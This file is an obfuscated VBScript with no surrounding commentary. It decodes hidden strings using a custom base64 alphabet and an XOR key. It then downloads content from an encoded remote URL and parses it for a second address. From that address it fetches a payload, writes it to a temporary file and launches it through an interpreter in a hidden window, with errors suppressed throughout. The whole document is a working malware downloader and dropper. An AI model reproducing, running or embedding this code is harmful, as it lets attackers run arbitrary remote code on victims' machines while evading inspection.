Function kc375eu(s)
  Dim t, i, c, n, acc, nb, o
  t = "+QhelRdPciC5oLVSFUtyJxbAaH9BD72GvkgYK0sM/1z3nq4XNf8ImOup6TZjwrEW"
  o = "" : acc = 0 : nb = 0
  For i = 1 To Len(s)
    c = Mid(s, i, 1)
    If c = "=" Then Exit For
    n = InStr(t, c) - 1
    If n >= 0 Then
      acc = acc * 64 + n
      nb = nb + 6
      If nb >= 8 Then
        nb = nb - 8
        o = o & Chr((acc \ (2 ^ nb)) And 255)
        acc = acc Mod (2 ^ nb)
      End If
    End If
  Next
  kc375eu = o
End Function
Function sdecc7be04(s)
  Dim a, i, o, k
  k = Array(160,175,183,103,83,107)
  a = Split(s, ",")
  o = ""
  For i = 0 To UBound(a)
    o = o & Chr(((CLng(a(i))) Xor k(i Mod (UBound(k) + 1))))
  Next
  sdecc7be04 = o
End Function
On Error Resume Next
Dim sh:Set sh=CreateObject(kc375eu("xOLYDs0N7hTy9dxnB+=="))
Dim h:Set h=CreateObject(sdecc7be04(kc375eu("oYop5ecOogN8oIKnLecnoIlnVeKnoyF85ecOogN8oy+noYlnoIDnoyFnoYlN5ecmL8N8Ly+nLeonoYDnLYonoYFm5ecOLtNfLyonVelnoycO5eKf"))):h.setOption 2,13056
h.Open kc375eu("UmxJ"),sdecc7be04(kc375eu("oY+N5ecfVtNfVyJnoYonoIcnVelnoyFI5el8VhNfVyanoyKnLY+noYJnoyKI5ecNohN8oy+nLIonLycnLhN8oeDnoY+N5ecfVtN85eJN5ecp5ecNotN8oY+noyJI5eFnLY+nLgNfLeonoY+I5ecfohN85eoO5eDN5ecfLtN8oeanoyKI5ecnoycu5ev65elmLtNfLyKnoyof5eD85eJI5elN5ecNotN8oYlnoyJm5elnLyvnoyFnoY+m5ecNo8NfLycnoyanLyvnoYFnoyKp5elIohNfVycnLgNIL8NfLhNfLecnoYlO5ecfVhNfoF==")),False:h.Send
Dim x:x=h.responseText
If Len(Trim(x))=0 Then WScript.Quit
Dim p:p=InStr(1,x,kc375eu("asrX7PLmDsRNSF=="),1)
If p=0 Then WScript.Quit
p=p+10:Dim q:q=Mid(x,p,1):p=p+1
Dim e:e=InStr(p,x,q)
If e<=p Then WScript.Quit
Dim u:u=Mid(x,p,e-p)
Dim h2:Set h2=CreateObject(kc375eu("yxLayJN850L0DMH0D0kLylkJxR+4Lg6N")):h2.setOption 2,13056
h2.Open kc375eu("UmxJ"),u,False:h2.Send
Dim sc:sc=h2.responseText:Set h2=Nothing
If Len(Trim(sc))=0 Then WScript.Quit
Dim fso:Set fso=CreateObject(sdecc7be04(kc375eu("oYFI5ecNLhNfVyDnoyFnoIJnoIlnoY+f5elTo8N8oevnLIonoYlnogN8oeFnoY+85ec8VhNIohNIogNIotNfVyDnoyKm5ecmVhNO5eJp5elm5elTLtN8oyK=")))
Dim tp:tp=sh.ExpandEnvironmentStrings(kc375eu("ixURyx+0"))&kc375eu("APLua8TNDIl=")
Dim tf:Set tf=fso.CreateTextFile(tp,True,True)
tf.Write sc:tf.Close:Set tf=Nothing:Set fso=Nothing
Dim ps:ps=sh.ExpandEnvironmentStrings(kc375eu("ix7iyKUiJgJ="))&sdecc7be04(kc375eu("oYJ85ecOogN8oeanoY+noIKnoyFnoY+O5elOLgNfoIonLyKnLhN85ecNLgN8oeonoYlu5elu5eo85eJT5ecNL8N8oyanoYlN5ecf5e+no8NfVyDnoyKO5ecfVtNOVtNIL8NTohNfLecnoyJT5ecILtN8o8NuohN8VhNfVyDnoYcf5elTLgNfLtNOLhNp5ecNLhNfoYKnoYlN5eof5eJm"))
sh.Run """" & ps & sdecc7be04(kc375eu("oyoN5elmo8NfLyFnLelnLY+nLyKnoYlN5elTogN8oeKnoyFnLYonoyFnoyc65elIohN8LecnoIlnLyFnVhN8oyonoYlT5ec8ogN65eaf5eJT5ecNL8NfVyJnoYc85eFnLecnLIJnoYcu5ecfLhNfVyKnLgNIogN8LhNfoYvnoyoN5ec8LhNfLhNuotNfLtN8oeDnoYlu5ec8VhNfVtNmogNp5elTL8NfLeonoYJO5elm5eJO5elO5elTL8NfVyonoyJf5eDm5ecf5ecnoY+m5ecNogNfLylnLYK=")) & tp & """",0,False